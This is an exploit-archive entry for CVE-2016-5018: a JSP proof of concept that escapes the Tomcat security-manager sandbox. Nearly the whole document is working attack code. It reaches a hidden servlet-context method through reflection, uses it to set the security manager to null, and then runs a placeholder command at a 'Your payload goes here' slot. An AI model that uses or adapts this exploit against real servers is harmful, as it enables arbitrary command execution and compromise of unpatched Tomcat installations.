# Exploit Title: Tomcat proprietaryEvaluate 9.0.0.M1 - Sandbox Escape
# Date: 2020-01-07
# Exploit Author: Harrison Neal, PatchAdvisor
# Vendor Homepage: https://tomcat.apache.org/
# Software Link: https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/apache-tomcat-8.0.36.exe
# Version: 8.0.36
# Description: Tomcat proprietaryEvaluate/introspecthelper Sandbox Escape
# Tested on: Windows
# CVE: CVE-2016-5018
/*
# See https://tomcat.apache.org/tomcat-8.0-doc/security-manager-howto.html for more information about the default sandbox.
# When Tomcat 8 is configured to run as a service, you can use the Tomcat8w.exe tool to enable/disable the security manager.
# In the Java tab, add the following options:
# -Djava.security.manager
# -Djava.security.policy=C:\Program Files\Apache Software Foundation\Tomcat 8.0\conf\catalina.policy
*/
<%@ page import="java.util.*,java.io.*,org.apache.jasper.runtime.*,java.lang.reflect.*"%>
<%
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
try {
ProtectedFunctionMapper pfm = ProtectedFunctionMapper.getInstance();
{ // Tomcat 7+
// Get the desired method
Method[] methods = (Method[]) PageContextImpl.proprietaryEvaluate(
"${pageContext.getServletContext().getClass().getDeclaredMethods()}",
Method[].class, pageContext, pfm /*, false*/); // Uncomment "false" parameter for Tomcat 7
Method theMethod = null;
for (Method m : methods) {
if ("executeMethod".equals(m.getName())) {
theMethod = m;
break;
}
}
// Set it to accessible
JspRuntimeLibrary.introspecthelper(
theMethod,
"accessible",
"true",
request,
null,
false);
// Run it
theMethod.invoke(pageContext.getServletContext(),
System.class.getMethod("setSecurityManager", new Class[]{SecurityManager.class}),
null,
new Object[]{null}
);
}
/*{ // Tomcat 5.5 and 6
pfm.mapFunction("hello:world", System.class, "setSecurityManager", new Class[] { SecurityManager.class });
PageContextImpl.proprietaryEvaluate("${hello:world(null)}", Object.class, pageContext, pfm, false);
}*/
} catch (Throwable ex) {
PrintWriter pw = new PrintWriter(out);
ex.printStackTrace(pw);
pw.flush();
}
}
// Your payload goes here
try {
Runtime.getRuntime().exec("calc");
} catch (Throwable ex) {
PrintWriter pw = new PrintWriter(out);
ex.printStackTrace(pw);
pw.flush();
}
// Optional put the security manager back
if (sm != null) {
System.setSecurityManager(sm);
}
%>
